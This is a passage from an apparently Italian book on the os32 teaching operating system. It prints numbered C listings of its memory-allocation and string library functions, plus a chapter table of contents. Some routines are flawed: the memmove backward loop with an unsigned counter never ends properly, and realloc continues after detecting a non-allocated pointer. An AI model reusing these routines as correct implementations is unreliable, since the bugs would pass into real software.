3510190                   //
3510191                   new = current + size + (sizeof (_alloc_head_t));
3510192                   //
3510193                   // Aggiorna l'intestazione attuale.
3510194                   //
3510195                   head->allocated = 1;
3510196                   head->next = new / (sizeof (_alloc_head_t));
3510197                   //
3510198                   // Predispone l'intestazione successiva.
3510199                   //
3510200                   head = (void *) new;
3510201                   head->allocated = 0;
3510202                   head->next = next / (sizeof (_alloc_head_t));
3510203                   //
3510204                   // Restituisce l'indirizzo iniziale dello spazio libero,
3510205                   // successivo all'intestazione.
3510206                   //
3510207                   return (void *) (current + (sizeof (_alloc_head_t)));
3510208                 }
3510209               else if (actual_size >= size)
3510210                 {
3510211                   //
3510212                   // Il blocco va usato per intero.
3510213                   //
3510214                   head->allocated = 1;
3510215                   //
3510216                   // Restituisce l'indirizzo iniziale dello spazio libero,
3510217                   // successivo all'intestazione.
3510218                   //
3510219                   return (void *) (current + (sizeof (_alloc_head_t)));
3510220                 }
3510221             }
3510222           //
3510223           // Il blocco è allocato, oppure è di dimensione insufficiente;
3510224           // pertanto occorre passare alla posizione successiva.
```

```
3510225         //
3510226         head = (void *) next;
3510227       }
3510228     //
3510229     // Essendo terminato il ciclo precedente, vuol dire
3510230     // che non ci sono spazi disponibili.
3510231     //
3510232     errset (ENOMEM);
3510233     return NULL;
3510234 }
```

120.13.25 lib/stdlib_alloc/realloc.c

Si veda la sezione 113.71.

```
3520001 #include <stdlib.h>
3520002 #include <stdio.h>
3520003 #include <unistd.h>
3520004 #include <string.h>
3520005 //----------------------------------------------------------------------
3520006 extern uintptr_t _alloc_start;
3520007 //----------------------------------------------------------------------
3520008 void *
3520009 realloc (void *ptr, size_t size)
3520010 {
3520011     uintptr_t      start       = _alloc_start;
3520012     uintptr_t      end         = (uintptr_t) sbrk (0);
3520013     size_t         actual_size;
3520014     _alloc_head_t *head        = ((_alloc_head_t *) ptr) - 1;
3520015     _alloc_head_t *head_new;
3520016     void          *ptr_new;
3520017     //
3520018     // Verifica che il puntatore riguardi effettivamente
3520019     // un'area occupata.
3520020     //
3520021     if (! head->allocated)
3520022       {
3520023         printf ("[%s] ERROR: cannot re-allocate %08X that is "
3520024                 "not already allocated!", __func__, (uintptr_t) ptr);
3520025       }
3520026     //
3520027     // Arrotonda in eccesso il valore di «size», in modo che sia un
3520028     // multiplo della dimensione di «_alloc_head_t». Altrimenti, la
3520029     // collocazione dei blocchi successivi può avvenire in modo
3520030     // non allineato.
3520031     //
3520032     size = (size + (sizeof (_alloc_head_t)) -1);
3520033     size = size / (sizeof (_alloc_head_t));
3520034     size = size * (sizeof (_alloc_head_t));
3520035     //
3520036     // Determina la dimensione attuale.
```

```
3520037         //
3520038         if ((head->next * (sizeof (_alloc_head_t))) == start)
3520039           {
3520040             actual_size = end - ((uintptr_t) ptr);
3520041           }
3520042         else
3520043           {
3520044             actual_size =   (head->next * (sizeof (_alloc_head_t)))
3520045                           - ((uintptr_t) ptr);
3520046           }
3520047         //
3520048         // Se la dimensione richiesta è inferiore, può ridurre
3520049         // l'estensione del blocco.
3520050         //
3520051         if (size == actual_size)
3520052           {
3520053             return ptr;
3520054           }
3520055         else if (size <= (actual_size - (sizeof (_alloc_head_t)) * 2))
3520056           {
3520057             //
3520058             // Si può ricavare lo spazio libero rimanente.
3520059             //
3520060             head_new = (_alloc_head_t *) (((char *) ptr) + size);
3520061             //
3520062             head_new->next = head->next;
3520063             head_new->allocated=0;
3520064             //
3520065             head->next = ((uintptr_t) head_new) / (sizeof (_alloc_head_t));
3520066             //
3520067             return ptr;
3520068           }
3520069         else if (size < actual_size)
3520070           {
3520071             //
3520072             // Anche se è minore, non si può ridurre lo spazio usato
3520073             // effettivamente.
3520074             //
3520075             return ptr;
3520076           }
3520077         else
3520078           {
3520079             //
3520080             // La dimensione richiesta è maggiore.
3520081             //
3520082             ptr_new = malloc (size);
3520083             //
3520084             if (ptr_new)
3520085               {
3520086                 //
3520087                 // Ricopia i dati nella nuova collocazione.
3520088                 //
```

```
3520089                 memcpy (ptr_new, ptr, actual_size);
3520090                 //
3520091                 // Libera la collocazione vecchia.
3520092                 //
3520093                 free (ptr);
3520094                 //
3520095                 return ptr_new;
3520096               }
3520097             else
3520098               {
3520099                 return NULL;
3520100               }
3520101         }
3520102 }
```

120.14 os32: «lib/string.h»

Si veda la sezione 116.2.

```
3530001 #ifndef _STRING_H
3530002 #define _STRING_H       1
3530003 //----------------------------------------------------------------------
3530004 #include <size_t.h>
3530005 #include <NULL.h>
3530006 #include <restrict.h>
3530007 //----------------------------------------------------------------------
3530008 void  *memccpy (void *restrict dst, const void *restrict org, int c,
3530009                 size_t n);
3530010 void  *memchr  (const void *memory, int c, size_t n);
3530011 int    memcmp  (const void *memory1, const void *memory2, size_t n);
3530012 void  *memcpy  (void *restrict dst, const void *restrict org, size_t n);
3530013 void  *memmove (void *dst, const void *org, size_t n);
3530014 void  *memset  (void *memory, int c, size_t n);
3530015 char  *strcat  (char *restrict dst, const char *restrict org);
3530016 char  *strchr  (const char *string, int c);
3530017 int    strcmp  (const char *string1, const char *string2);
3530018 int    strcoll (const char *string1, const char *string2);
3530019 char  *strcpy  (char *restrict dst, const char *restrict org);
3530020 size_t strcspn (const char *string, const char *reject);
3530021 char  *strdup  (const char *string);
3530022 char  *strerror (int errnum);
3530023 size_t strlen  (const char *string);
3530024 char  *strncat (char *restrict dst, const char *restrict org, size_t n);
3530025 int    strncmp (const char *string1, const char *string2, size_t n);
3530026 char  *strncpy (char *restrict dst, const char *restrict org, size_t n);
3530027 char  *strpbrk (const char *string, const char *accept);
3530028 char  *strrchr (const char *string, int c);
3530029 size_t strspn  (const char *string, const char *accept);
3530030 char  *strstr  (const char *string, const char *substring);
3530031 char  *strtok  (char *restrict string, const char *restrict delim);
3530032 size_t strxfrm (char *restrict dst, const char *restrict org, size_t n);
```

```
3530033 //----------------------------------------------------------------------
3530034
3530035 #endif
```

120.1 os32: file isolati della directory «lib/» 7457
120.1.1 lib/NULL.h 7457
120.1.2 lib/SEEK.h 7457
120.1.3 lib/assert.h 7457
120.1.4 lib/clock_t.h 7458
120.1.5 lib/ctype.h 7458
120.1.6 lib/limits.h 7459
120.1.7 lib/ptrdiff_t.h 7460
120.1.8 lib/restrict.h 7460
120.1.9 lib/size_t.h 7461
120.1.10 lib/stdarg.h 7461
120.1.11 lib/stdbool.h 7461
120.1.12 lib/stddef.h 7462
120.1.13 lib/stdint.h 7462
120.1.14 lib/time_t.h 7464
120.1.15 lib/wchar_t.h 7465
120.2 os32: «lib/_gcc.h» 7465
120.2.1 lib/_gcc/__divdi3.c 7471
120.2.2 lib/_gcc/__moddi3.c 7472
120.2.3 lib/_gcc/__udivdi3.c 7472
120.2.4 lib/_gcc/__umoddi3.c 7473
120.2.5 lib/_gcc/_lldiv.c 7473
120.2.6 lib/_gcc/_ulldiv.c 7474
120.3 os32: «lib/dirent.h» 7476
120.3.1 lib/dirent/DIR.c 7483
120.3.2 lib/dirent/closedir.c 7483
120.3.3 lib/dirent/opendir.c 7484
120.3.4 lib/dirent/readdir.c 7486
120.3.5 lib/dirent/rewinddir.c 7488
120.4 os32: «lib/errno.h» 7489
120.4.1 lib/errno/errno.c 7500
120.5 os32: «lib/fcntl.h» 7500

120.5.1 lib/fcntl/creat.c 7508
120.5.2 lib/fcntl/fcntl.c 7509
120.5.3 lib/fcntl/open.c 7510

120.6 os32: «lib/grp.h» 7510

120.6.1 lib/grp/grent.c 7517

120.7 os32: «lib/inttypes.h» 7519

120.7.1 lib/inttypes/imaxabs.c 7531
120.7.2 lib/inttypes/imaxdiv.c 7531

120.8 os32: «lib/libgen.h» 7532

120.8.1 lib/libgen/basename.c 7538
120.8.2 lib/libgen/dirname.c 7539

120.9 os32: «lib/pwd.h» 7541

120.9.1 lib/pwd/pwent.c 7548

120.10 os32: «lib/setjmp.h» 7550

120.10.1 lib/setjmp/longjmp.c 7557
120.10.2 lib/setjmp/setjmp.s 7558

120.11 os32: «lib/signal.h» 7559

120.11.1 lib/signal/_sighandler_wrapper.s 7566
120.11.2 lib/signal/kill.c 7567
120.11.3 lib/signal/signal.c 7568

120.12 os32: «lib/stdio.h» 7568

120.12.1 lib/stdio/FILE.c 7577
120.12.2 lib/stdio/clearerr.c 7577
120.12.3 lib/stdio/fclose.c 7577
120.12.4 lib/stdio/feof.c 7578
120.12.5 lib/stdio/ferror.c 7578
120.12.6 lib/stdio/fflush.c 7578
120.12.7 lib/stdio/fgetc.c 7579
120.12.8 lib/stdio/fgetpos.c 7579
120.12.9 lib/stdio/fgets.c 7580
120.12.10 lib/stdio/fileno.c 7581
120.12.11 lib/stdio/fopen.c 7581
120.12.12 lib/stdio/fprintf.c 7583
120.12.13 lib/stdio/fputc.c 7583
120.12.14 lib/stdio/fputs.c 7584

120.12.15 lib/stdio/fread.c 7584
120.12.16 lib/stdio/freopen.c 7585
120.12.17 lib/stdio/fscanf.c 7586
120.12.18 lib/stdio/fseek.c 7586
120.12.19 lib/stdio/fseeko.c 7586
120.12.20 lib/stdio/fsetpos.c 7587
120.12.21 lib/stdio/ftell.c 7587
120.12.22 lib/stdio/ftello.c 7588
120.12.23 lib/stdio/fwrite.c 7588
120.12.24 lib/stdio/getchar.c 7588
120.12.25 lib/stdio/gets.c 7589
120.12.26 lib/stdio/perror.c 7590
120.12.27 lib/stdio/printf.c 7591
120.12.28 lib/stdio/putchar.c 7591
120.12.29 lib/stdio/puts.c 7592
120.12.30 lib/stdio/rewind.c 7592
120.12.31 lib/stdio/scanf.c 7592
120.12.32 lib/stdio/setbuf.c 7593
120.12.33 lib/stdio/setvbuf.c 7593
120.12.34 lib/stdio/snprintf.c 7593
120.12.35 lib/stdio/sprintf.c 7594
120.12.36 lib/stdio/sscanf.c 7594
120.12.37 lib/stdio/vfprintf.c 7594
120.12.38 lib/stdio/vfscanf.c 7595
120.12.39 lib/stdio/vfsscanf.c 7595
120.12.40 lib/stdio/vprintf.c 7622
120.12.41 lib/stdio/vscanf.c 7623
120.12.42 lib/stdio/vsnprintf.c 7623
120.12.43 lib/stdio/vsprintf.c 7644
120.12.44 lib/stdio/vsscanf.c 7645

120.13 os32: «lib/stdlib.h» 7645

120.13.1 lib/stdlib/_Exit.c 7653
120.13.2 lib/stdlib/abort.c 7654
120.13.3 lib/stdlib/abs.c 7655
120.13.4 lib/stdlib/atexit.c 7655
120.13.5 lib/stdlib/atoi.c 7656
120.13.6 lib/stdlib/atol.c 7657
120.13.7 lib/stdlib/div.c 7657
120.13.8 lib/stdlib/environment.c 7658

120.13.9 lib/stdlib/exit.c 7659
120.13.10 lib/stdlib/getenv.c 7660
120.13.11 lib/stdlib/labs.c 7661
120.13.12 lib/stdlib/ldiv.c 7662
120.13.13 lib/stdlib/llabs.c 7662
120.13.14 lib/stdlib/lldiv.c 7662
120.13.15 lib/stdlib/putenv.c 7663
120.13.16 lib/stdlib/qsort.c 7664
120.13.17 lib/stdlib/rand.c 7667
120.13.18 lib/stdlib/setenv.c 7668
120.13.19 lib/stdlib/strtol.c 7670
120.13.20 lib/stdlib/strtoul.c 7674
120.13.21 lib/stdlib/unsetenv.c 7675
120.13.22 lib/stdlib_alloc/_alloc_list.c 7676
120.13.23 lib/stdlib_alloc/free.c 7678
120.13.24 lib/stdlib_alloc/malloc.c 7679
120.13.25 lib/stdlib_alloc/realloc.c 7684

120.14 os32: «lib/string.h» 7686

120.14.1 lib/string/memccpy.c 7693
120.14.2 lib/string/memchr.c 7693
120.14.3 lib/string/memcmp.c 7694
120.14.4 lib/string/memcpy.c 7694
120.14.5 lib/string/memmove.c 7695
120.14.6 lib/string/memset.c 7695
120.14.7 lib/string/strcat.c 7696
120.14.8 lib/string/strchr.c 7696
120.14.9 lib/string/strcmp.c 7697
120.14.10 lib/string/strcoll.c 7697
120.14.11 lib/string/strcpy.c 7698
120.14.12 lib/string/strcspn.c 7698
120.14.13 lib/string/strdup.c 7699
120.14.14 lib/string/strerror.c 7699
120.14.15 lib/string/strlen.c 7702
120.14.16 lib/string/strncat.c 7702
120.14.17 lib/string/strncmp.c 7703
120.14.18 lib/string/strncpy.c 7703
120.14.19 lib/string/strpbrk.c 7704
120.14.20 lib/string/strrchr.c 7704
120.14.21 lib/string/strspn.c 7705

120.14.22 lib/string/strstr.c 7705
120.14.23 lib/string/strtok.c 7706
120.14.24 lib/string/strxfrm.c 7709

120.15 os32: «lib/sys/os32.h» 7709

120.15.1 lib/sys/os32/input_line.c 7725
120.15.2 lib/sys/os32/mount.c 7729
120.15.3 lib/sys/os32/namep.c 7729
120.15.4 lib/sys/os32/sys.s 7732
120.15.5 lib/sys/os32/umount.c 7732
120.15.6 lib/sys/os32/z_perror.c 7733
120.15.7 lib/sys/os32/z_printf.c 7734
120.15.8 lib/sys/os32/z_vprintf.c 7734

120.16 os32: «lib/sys/stat.h» 7734

120.16.1 lib/sys/stat/chmod.c 7743
120.16.2 lib/sys/stat/fchmod.c 7743
120.16.3 lib/sys/stat/fstat.c 7744
120.16.4 lib/sys/stat/mkdir.c 7745
120.16.5 lib/sys/stat/mknod.c 7745
120.16.6 lib/sys/stat/stat.c 7746
120.16.7 lib/sys/stat/umask.c 7747

120.17 os32: «lib/sys/types.h» 7747

120.17.1 lib/sys/types/major.c 7754
120.17.2 lib/sys/types/makedev.c 7754
120.17.3 lib/sys/types/minor.c 7754

120.18 os32: «lib/sys/wait.h» 7755

120.18.1 lib/sys/wait/wait.c 7761

120.19 os32: «lib/termios.h» 7762

120.19.1 lib/termios/tcgetattr.c 7770
120.19.2 lib/termios/tcsetattr.c 7770

120.20 os32: «lib/time.h» 7771

120.20.1 lib/time/asctime.c 7779
120.20.2 lib/time/clock.c 7781
120.20.3 lib/time/gmtime.c 7781
120.20.4 lib/time/mktime.c 7785
120.20.5 lib/time/stime.c 7787

120.20.6 lib/time/time.c 7788

120.21 os32: «lib/unistd.h» 7788

120.21.1 lib/unistd/_exit.c 7796
120.21.2 lib/unistd/access.c 7796
120.21.3 lib/unistd/brk.c 7797
120.21.4 lib/unistd/chdir.c 7798
120.21.5 lib/unistd/chown.c 7799
120.21.6 lib/unistd/close.c 7799
120.21.7 lib/unistd/dup.c 7800
120.21.8 lib/unistd/dup2.c 7800
120.21.9 lib/unistd/environ.c 7801
120.21.10 lib/unistd/execl.c 7801
120.21.11 lib/unistd/execle.c 7802
120.21.12 lib/unistd/execlp.c 7802
120.21.13 lib/unistd/execv.c 7803
120.21.14 lib/unistd/execve.c 7804
120.21.15 lib/unistd/execvp.c 7805
120.21.16 lib/unistd/fchdir.c 7806
120.21.17 lib/unistd/fchown.c 7806
120.21.18 lib/unistd/fork.c 7807
120.21.19 lib/unistd/getcwd.c 7808
120.21.20 lib/unistd/getegid.c 7809
120.21.21 lib/unistd/geteuid.c 7809
120.21.22 lib/unistd/getgid.c 7810
120.21.23 lib/unistd/getopt.c 7810
120.21.24 lib/unistd/getpgrp.c 7815
120.21.25 lib/unistd/getpid.c 7815
120.21.26 lib/unistd/getppid.c 7815
120.21.27 lib/unistd/getuid.c 7816
120.21.28 lib/unistd/isatty.c 7816
120.21.29 lib/unistd/link.c 7817
120.21.30 lib/unistd/lseek.c 7818
120.21.31 lib/unistd/pipe.c 7818
120.21.32 lib/unistd/read.c 7819
120.21.33 lib/unistd/rmdir.c 7820
120.21.34 lib/unistd/sbrk.c 7821
120.21.35 lib/unistd/setegid.c 7822
120.21.36 lib/unistd/seteuid.c 7822
120.21.37 lib/unistd/setgid.c 7823

120.21.38 lib/unistd/setpgrp.c 7823
120.21.39 lib/unistd/setuid.c 7823
120.21.40 lib/unistd/sleep.c 7824
120.21.41 lib/unistd/ttyname.c 7825
120.21.42 lib/unistd/unlink.c 7826
120.21.43 lib/unistd/write.c 7827
120.22 os32: «lib/utime.h» 7828
120.22.1 lib/utime/utime.c 7834

120.14.1 lib/string/memccpy.c

Si veda la sezione 113.72.

```
3540001 #include <string.h>
3540002 //----------------------------------------------------------------------
3540003 void *
3540004 memccpy (void *restrict dst, const void *restrict org, int c, size_t n)
3540005 {
3540006     char *d = (char *) dst;
3540007     char *o = (char *) org;
3540008     size_t i;
3540009     for (i = 0; n > 0 && i < n; i++)
3540010       {
3540011         d[i] = o[i];
3540012         if (d[i] == (char) c)
3540013           {
3540014             return ((void *) &d[i+1]);
3540015           }
3540016       }
3540017     return (NULL);
3540018 }
```

120.14.2 lib/string/memchr.c

Si veda la sezione 113.73.

```
3550001 #include <string.h>
3550002 //----------------------------------------------------------------------
3550003 void *
3550004 memchr (const void *memory, int c, size_t n)
3550005 {
3550006     char *m = (char *) memory;
3550007     size_t i;
3550008     for (i = 0; n > 0 && i < n; i++)
3550009       {
3550010         if (m[i] == (char) c)
3550011           {
```

```
3550012                return (void *) (m + i);
3550013              }
3550014          }
3550015        return NULL;
3550016    }
```

120.14.3 lib/string/memcmp.c

Si veda la sezione 113.74.

```
3560001    #include <string.h>
3560002    //----------------------------------------------------------------------
3560003    int
3560004    memcmp (const void *memory1, const void *memory2, size_t n)
3560005    {
3560006        char *a = (char *) memory1;
3560007        char *b = (char *) memory2;
3560008        size_t i;
3560009        for (i = 0; n > 0 && i < n; i++)
3560010          {
3560011            if (a[i] > b[i])
3560012              {
3560013                return 1;
3560014              }
3560015            else if (a[i] < b[i])
3560016              {
3560017                return -1;
3560018              }
3560019          }
3560020        return 0;
3560021    }
```

120.14.4 lib/string/memcpy.c

Si veda la sezione 113.75.

```
3570001    #include <string.h>
3570002    //----------------------------------------------------------------------
3570003    void *
3570004    memcpy (void *restrict dst, const void *restrict org, size_t n)
3570005    {
3570006        char *d = (char *) dst;
3570007        char *o = (char *) org;
3570008        size_t i;
3570009        for (i = 0; n > 0 && i < n; i++)
3570010          {
3570011            d[i] = o[i];
3570012          }
3570013        return dst;
3570014    }
```

120.14.5 lib/string/memmove.c

Si veda la sezione 113.76.

```
3580001 #include <string.h>
3580002 //----------------------------------------------------------------------
3580003 void *
3580004 memmove (void *dst, const void *org, size_t n)
3580005 {
3580006     char *d = (char *) dst;
3580007     char *o = (char *) org;
3580008     size_t i;
3580009     //
3580010     // Depending on the memory start locations, copy may be direct or
3580011     // reverse, to avoid overwriting before the relocation is done.
3580012     //
3580013     if (d < o)
3580014       {
3580015         for (i = 0; i < n; i++)
3580016           {
3580017             d[i] = o[i];
3580018           }
3580019       }
3580020     else if (d == o)
3580021       {
3580022         //
3580023         // Memory locations are already the same.
3580024         //
3580025         ;
3580026       }
3580027     else
3580028       {
3580029         for (i = n - 1; i >= 0; i--)
3580030           {
3580031             d[i] = o[i];
3580032           }
3580033       }
3580034     return dst;
3580035 }
```

120.14.6 lib/string/memset.c

Si veda la sezione 113.77.

```
3590001 #include <string.h>
3590002 //----------------------------------------------------------------------
3590003 void *
3590004 memset (void *memory, int c, size_t n)
3590005 {
3590006     char  *m = (char *) memory;
3590007     size_t i;
```

```
3590008     for (i = 0; n > 0 && i < n; i++)
3590009       {
3590010         m[i] = (char) c;
3590011       }
3590012     return memory;
3590013 }
```

120.14.7 lib/string/strcat.c

«

Si veda la sezione 113.106.

```
3600001 #include <string.h>
3600002 //----------------------------------------------------------------------
3600003 char *
3600004 strcat (char *restrict dst, const char *restrict org)
3600005 {
3600006     size_t i;
3600007     size_t j;
3600008     for (i = 0; dst[i] != 0; i++)
3600009       {
3600010         ; // Just look for the null character.
3600011       }
3600012     for (j = 0; org[j] != 0; i++, j++)
3600013       {
3600014         dst[i] = org[j];
3600015       }
3600016     dst[i] = 0;
3600017     return dst;
3600018 }
```

120.14.8 lib/string/strchr.c

«

Si veda la sezione 113.107.

```
3610001 #include <string.h>
3610002 //----------------------------------------------------------------------
3610003 char *
3610004 strchr (const char *string, int c)
3610005 {
3610006     size_t i;
3610007     for (i = 0; ; i++)
3610008       {
3610009         if (string[i] == (char) c)
3610010           {
3610011             return (char *) (string + i);
3610012           }
3610013         else if (string[i] == 0)
3610014           {
3610015             return NULL;
```

```
3610016              }
3610017          }
3610018  }
```

120.14.9 lib/string/strcmp.c

Si veda la sezione 113.108.

```
3620001  #include <string.h>
3620002  //----------------------------------------------------------------------
3620003  int
3620004  strcmp (const char *string1, const char *string2)
3620005  {
3620006      char *a = (char *) string1;
3620007      char *b = (char *) string2;
3620008      size_t i;
3620009      for (i = 0; ; i++)
3620010        {
3620011          if (a[i] > b[i])
3620012            {
3620013              return 1;
3620014            }
3620015          else if (a[i] < b[i])
3620016            {
3620017              return -1;
3620018            }
3620019          else if (a[i] == 0 && b[i] == 0)
3620020            {
3620021              return 0;
3620022            }
3620023        }
3620024  }
```

120.14.10 lib/string/strcoll.c

Si veda la sezione 113.108.

```
3630001  #include <string.h>
3630002  //----------------------------------------------------------------------
3630003  int
3630004  strcoll (const char *string1, const char *string2)
3630005  {
3630006      return (strcmp (string1, string2));
3630007  }
```

120.14.11 lib/string/strcpy.c

Si veda la sezione 113.110.

```
3640001 #include <string.h>
3640002 //----------------------------------------------------------------------
3640003 char *
3640004 strcpy (char *restrict dst, const char *restrict org)
3640005 {
3640006     size_t i;
3640007     for (i = 0; org[i] != 0; i++)
3640008       {
3640009         dst[i] = org[i];
3640010       }
3640011     dst[i] = 0;
3640012     return dst;
3640013 }
```

120.14.12 lib/string/strcspn.c

Si veda la sezione 113.120.

```
3650001 #include <string.h>
3650002 //----------------------------------------------------------------------
3650003 size_t
3650004 strcspn (const char *string, const char *reject)
3650005 {
3650006     size_t i;
3650007     size_t j;
3650008     int found;
3650009     for (i = 0; string[i] != 0; i++)
3650010       {
3650011         for (j = 0, found = 0; reject[j] != 0 || found; j++)
3650012           {
3650013             if (string[i] == reject[j])
3650014               {
3650015                 found = 1;
3650016                 break;
3650017               }
3650018           }
3650019         if (found)
3650020           {
3650021             break;
3650022           }
3650023       }
3650024     return i;
3650025 }
```

120.14.13 lib/string/strdup.c

Si veda la sezione 113.112.

```
3660001 #include <string.h>
3660002 #include <stdlib.h>
3660003 #include <errno.h>
3660004 //----------------------------------------------------------------------
3660005 char *
3660006 strdup  (const char *string)
3660007 {
3660008     size_t size;
3660009     char  *copy;
3660010     //
3660011     // Get string size: must be added 1, to count the termination null
3660012     // character.
3660013     //
3660014     size = strlen (string) + 1;
3660015     //
3660016     copy = malloc (size);
3660017     //
3660018     if (copy == NULL)
3660019       {
3660020         errset (ENOMEM);         // Not enough memory.
3660021         return (NULL);
3660022       }
3660023     //
3660024     strcpy (copy, string);
3660025     //
3660026     return (copy);
3660027 }
```

120.14.14 lib/string/strerror.c

Si veda la sezione 113.113.

```
3670001 #include <string.h>
3670002 #include <errno.h>
3670003 //----------------------------------------------------------------------
3670004 #define ERROR_MAX 100
3670005 //----------------------------------------------------------------------
3670006 char *
3670007 strerror (int errnum)
3670008 {
3670009   static char *err[ERROR_MAX];
3670010   //
3670011   err[0]                               = "No error";
3670012   err[E2BIG]                           = TEXT_E2BIG;
3670013   err[EACCES]                          = TEXT_EACCES;
3670014   err[EADDRINUSE]                      = TEXT_EADDRINUSE;
3670015   err[EADDRNOTAVAIL]                   = TEXT_EADDRNOTAVAIL;
```

```
3670016     err[EAFNOSUPPORT]                   = TEXT_EAFNOSUPPORT;
3670017     err[EAGAIN]                         = TEXT_EAGAIN;
3670018     err[EALREADY]                       = TEXT_EALREADY;
3670019     err[EBADF]                          = TEXT_EBADF;
3670020     err[EBADMSG]                        = TEXT_EBADMSG;
3670021     err[EBUSY]                          = TEXT_EBUSY;
3670022     err[ECANCELED]                      = TEXT_ECANCELED;
3670023     err[ECHILD]                         = TEXT_ECHILD;
3670024     err[ECONNABORTED]                   = TEXT_ECONNABORTED;
3670025     err[ECONNREFUSED]                   = TEXT_ECONNREFUSED;
3670026     err[ECONNRESET]                     = TEXT_ECONNRESET;
3670027     err[EDEADLK]                        = TEXT_EDEADLK;
3670028     err[EDESTADDRREQ]                   = TEXT_EDESTADDRREQ;
3670029     err[EDOM]                           = TEXT_EDOM;
3670030     err[EDQUOT]                         = TEXT_EDQUOT;
3670031     err[EEXIST]                         = TEXT_EEXIST;
3670032     err[EFAULT]                         = TEXT_EFAULT;
3670033     err[EFBIG]                          = TEXT_EFBIG;
3670034     err[EHOSTUNREACH]                   = TEXT_EHOSTUNREACH;
3670035     err[EIDRM]                          = TEXT_EIDRM;
3670036     err[EILSEQ]                         = TEXT_EILSEQ;
3670037     err[EINPROGRESS]                    = TEXT_EINPROGRESS;
3670038     err[EINTR]                          = TEXT_EINTR;
3670039     err[EINVAL]                         = TEXT_EINVAL;
3670040     err[EIO]                            = TEXT_EIO;
3670041     err[EISCONN]                        = TEXT_EISCONN;
3670042     err[EISDIR]                         = TEXT_EISDIR;
3670043     err[ELOOP]                          = TEXT_ELOOP;
3670044     err[EMFILE]                         = TEXT_EMFILE;
3670045     err[EMLINK]                         = TEXT_EMLINK;
3670046     err[EMSGSIZE]                       = TEXT_EMSGSIZE;
3670047     err[EMULTIHOP]                      = TEXT_EMULTIHOP;
3670048     err[ENAMETOOLONG]                   = TEXT_ENAMETOOLONG;
3670049     err[ENETDOWN]                       = TEXT_ENETDOWN;
3670050     err[ENETRESET]                      = TEXT_ENETRESET;
3670051     err[ENETUNREACH]                    = TEXT_ENETUNREACH;
3670052     err[ENFILE]                         = TEXT_ENFILE;
3670053     err[ENOBUFS]                        = TEXT_ENOBUFS;
3670054     err[ENODATA]                        = TEXT_ENODATA;
3670055     err[ENODEV]                         = TEXT_ENODEV;
3670056     err[ENOENT]                         = TEXT_ENOENT;
3670057     err[ENOEXEC]                        = TEXT_ENOEXEC;
3670058     err[ENOLCK]                         = TEXT_ENOLCK;
3670059     err[ENOLINK]                        = TEXT_ENOLINK;
3670060     err[ENOMEM]                         = TEXT_ENOMEM;
3670061     err[ENOMSG]                         = TEXT_ENOMSG;
3670062     err[ENOPROTOOPT]                    = TEXT_ENOPROTOOPT;
3670063     err[ENOSPC]                         = TEXT_ENOSPC;
3670064     err[ENOSR]                          = TEXT_ENOSR;
3670065     err[ENOSTR]                         = TEXT_ENOSTR;
3670066     err[ENOSYS]                         = TEXT_ENOSYS;
3670067     err[ENOTCONN]                       = TEXT_ENOTCONN;
```

```
3670068     err[ENOTDIR]                    = TEXT_ENOTDIR;
3670069     err[ENOTEMPTY]                  = TEXT_ENOTEMPTY;
3670070     err[ENOTSOCK]                   = TEXT_ENOTSOCK;
3670071     err[ENOTSUP]                    = TEXT_ENOTSUP;
3670072     err[ENOTTY]                     = TEXT_ENOTTY;
3670073     err[ENXIO]                      = TEXT_ENXIO;
3670074     err[EOPNOTSUPP]                 = TEXT_EOPNOTSUPP;
3670075     err[EOVERFLOW]                  = TEXT_EOVERFLOW;
3670076     err[EPERM]                      = TEXT_EPERM;
3670077     err[EPIPE]                      = TEXT_EPIPE;
3670078     err[EPROTO]                     = TEXT_EPROTO;
3670079     err[EPROTONOSUPPORT]            = TEXT_EPROTONOSUPPORT;
3670080     err[EPROTOTYPE]                 = TEXT_EPROTOTYPE;
3670081     err[ERANGE]                     = TEXT_ERANGE;
3670082     err[EROFS]                      = TEXT_EROFS;
3670083     err[ESPIPE]                     = TEXT_ESPIPE;
3670084     err[ESRCH]                      = TEXT_ESRCH;
3670085     err[ESTALE]                     = TEXT_ESTALE;
3670086     err[ETIME]                      = TEXT_ETIME;
3670087     err[ETIMEDOUT]                  = TEXT_ETIMEDOUT;
3670088     err[ETXTBSY]                    = TEXT_ETXTBSY;
3670089     err[EWOULDBLOCK]                = TEXT_EWOULDBLOCK;
3670090     err[EXDEV]                      = TEXT_EXDEV;
3670091     err[E_NO_MEDIUM]                = TEXT_E_NO_MEDIUM;
3670092     err[E_MEDIUM]                   = TEXT_E_MEDIUM;
3670093     err[E_FILE_TYPE]                = TEXT_E_FILE_TYPE;
3670094     err[E_ROOT_INODE_NOT_CACHED]    = TEXT_E_ROOT_INODE_NOT_CACHED;
3670095     err[E_CANNOT_READ_SUPERBLOCK]   = TEXT_E_CANNOT_READ_SUPERBLOCK;
3670096     err[E_MAP_INODE_TOO_BIG]        = TEXT_E_MAP_INODE_TOO_BIG;
3670097     err[E_MAP_ZONE_TOO_BIG]         = TEXT_E_MAP_ZONE_TOO_BIG;
3670098     err[E_DATA_ZONE_TOO_BIG]        = TEXT_E_DATA_ZONE_TOO_BIG;
3670099     err[E_CANNOT_FIND_ROOT_DEVICE]  = TEXT_E_CANNOT_FIND_ROOT_DEVICE;
3670100     err[E_CANNOT_FIND_ROOT_INODE]   = TEXT_E_CANNOT_FIND_ROOT_INODE;
3670101     err[E_FILE_TYPE_UNSUPPORTED]    = TEXT_E_FILE_TYPE_UNSUPPORTED;
3670102     err[E_ENV_TOO_BIG]              = TEXT_E_ENV_TOO_BIG;
3670103     err[E_LIMIT]                    = TEXT_E_LIMIT;
3670104     err[E_NOT_MOUNTED]              = TEXT_E_NOT_MOUNTED;
3670105     err[E_NOT_IMPLEMENTED]          = TEXT_E_NOT_IMPLEMENTED;
3670106     err[E_HARDWARE_FAULT]           = TEXT_E_HARDWARE_FAULT;
3670107     err[E_DRIVER_FAULT]             = TEXT_E_DRIVER_FAULT;
3670108     err[E_PIPE_FULL]                = TEXT_E_PIPE_FULL;
3670109     err[E_PIPE_EMPTY]               = TEXT_E_PIPE_EMPTY;
3670110     err[E_PART_TYPE_NOT_MINIX]      = TEXT_E_PART_TYPE_NOT_MINIX;
3670111     err[E_FS_TYPE_NOT_SUPPORTED]    = TEXT_E_FS_TYPE_NOT_SUPPORTED;
3670112     //
3670113     if (errnum >= ERROR_MAX || errnum < 0)
3670114       {
3670115         return ("Unknown error");
3670116       }
3670117     //
3670118     return (err[errnum]);
```

```
3670119 }
```

120.14.15 lib/string/strlen.c

Si veda la sezione 113.114.

```
3680001 #include <string.h>
3680002 //----------------------------------------------------------------------
3680003 size_t
3680004 strlen (const char *string)
